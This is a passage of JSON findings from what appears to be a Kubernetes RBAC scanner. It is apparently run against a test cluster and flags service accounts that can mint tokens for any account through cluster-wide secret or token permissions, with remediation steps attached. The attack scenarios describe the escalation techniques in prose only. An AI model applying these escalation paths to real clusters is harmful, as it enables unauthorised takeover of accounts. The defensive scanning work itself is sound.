        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-parallel",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/deepchain-tenant/deepchain-privileged:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-privileged` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-privileged` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-privileged` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-privileged` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/deepchain-tenant/deepchain-privileged`.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-privileged`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "secret_mint_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-privileged` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-privileged` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/flux-system/kustomize-controller:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/flux-system/kustomize-controller` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/flux-system/kustomize-controller` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/flux-system/kustomize-controller` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/flux-system/kustomize-controller` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/flux-system/kustomize-controller` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/flux-system/kustomize-controller`.",
      "Acting as `ServiceAccount/flux-system/kustomize-controller`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "secret_mint_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/flux-system/kustomize-controller` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/flux-system/kustomize-controller` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/foothold-exec/foothold-decoy-sa:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-exec/foothold-decoy-sa` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/foothold-exec/foothold-decoy-sa` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-exec/foothold-decoy-sa` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/foothold-exec/foothold-decoy-sa` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "secret_mint_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/foothold-exec/foothold-decoy-sa` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/foothold-exec/foothold-decoy-sa` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/privesc-fixtures/sa-secret-mint:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-secret-mint` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-secret-mint`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "secret_mint_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/rbac-fixtures/sa-cluster-admin:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-cluster-admin` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-cluster-admin` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-cluster-admin` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-cluster-admin` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-cluster-admin`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-cluster-admin`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "secret_mint_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-cluster-admin",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/rbac-fixtures/sa-token-create:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `/` via `mint_arbitrary_token` (create serviceaccounts/token (cluster-wide)): can mint a service-account token for any ServiceAccount in any namespace",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-token-create` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-token-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls `serviceaccounts/token` at cluster scope (`create serviceaccounts/token (cluster-wide)`) to mint a token for any ServiceAccount in any namespace. With no `resourceNames` constraint, the verb amounts to a credential-issuing oracle.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. mint_arbitrary_token [create serviceaccounts/token (cluster-wide)]"
      ],
      "first_action": "mint_arbitrary_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "mint_arbitrary_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create serviceaccounts/token (cluster-wide)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create serviceaccounts/token (cluster-wide)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "mint_arbitrary_token",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create serviceaccounts/token (cluster-wide)",
        "gains": "can mint a service-account token for any ServiceAccount in any namespace",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/rbac-fixtures/sa-wildcard:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-wildcard` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-wildcard` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/rbac-fixtures/sa-wildcard` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-wildcard` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-wildcard` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-wildcard`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-wildcard`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "secret_mint_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-wildcard` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-wildcard` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-wildcard",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/privesc-fixtures/sa-ephemeral:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 6.8,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
